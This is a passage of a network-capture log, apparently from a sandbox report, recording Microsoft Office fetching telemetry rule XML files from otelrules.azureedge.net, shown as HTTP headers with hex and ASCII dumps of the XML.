2024-11-15 12:18:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:29 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 4f50471b-101e-0079-73af-365913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121829Z-16547b76f7fnlq8chC1DFWxnen00000000xg000000009x1f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:29 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.7	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:29 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:29 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: a4ba0423-501e-0029-6446-2cd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121829Z-16547b76f7fmbrhqhC1DFWkds80000000n5g000000006zcz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:29 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.7	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:29 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:30 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:30 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: b4070537-501e-0047-6baf-36ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121830Z-1866b5c5fbbtpjhjhC1DFWr6tw000000013g00000000bkc8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.7	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:30 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:30 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:30 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 4dbbda22-e01e-0033-5212-374695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121830Z-164f84587bf2rt9xhC1DFW8drg0000000130000000007fyk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:30 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.7	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:30 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:30 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:30 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: d6bc25f6-801e-00a0-4c08-362196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121830Z-1866b5c5fbb5hnj5hC1DFW18sc00000001hg00000000081q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:30 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.7	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:30 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:30 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:30 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 763850b9-e01e-0071-4d09-3708e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121830Z-16547b76f7ftdm8dhC1DFWs13g0000000n1g00000000ac5s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.7	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:30 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:30 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:30 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 29e284b5-001e-0065-5703-2d0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121830Z-16547b76f7ftnm6xhC1DFW9c8c00000000zg000000001bng x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.7	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:30 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:30 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:30 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 57b0571f-501e-00a3-7dfb-2cc0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121830Z-16547b76f7f7scqbhC1DFW0m5w0000000mv000000000gcv2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:30 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.7	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:31 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:31 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:31 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 2697cdeb-f01e-003c-0c8d-368cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121831Z-164f84587bfghdt4hC1DFWu5nn0000000150000000001y1d x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:31 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.7	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:31 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:31 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 9ba15ece-101e-0034-5d08-2c96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121831Z-16547b76f7fnlq8chC1DFWxnen00000000wg00000000ce8s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:31 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.7	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:31 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:31 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 1572e0e4-b01e-003e-1a0c-2d8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121831Z-16547b76f7ftdm8dhC1DFWs13g0000000n0g00000000bt71 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:31 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.7	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:31 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:31 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 31218528-d01e-0082-6eee-36e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121831Z-1866b5c5fbbkcpv2hC1DFWf1yc000000019g000000006vsd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:31 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.7	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
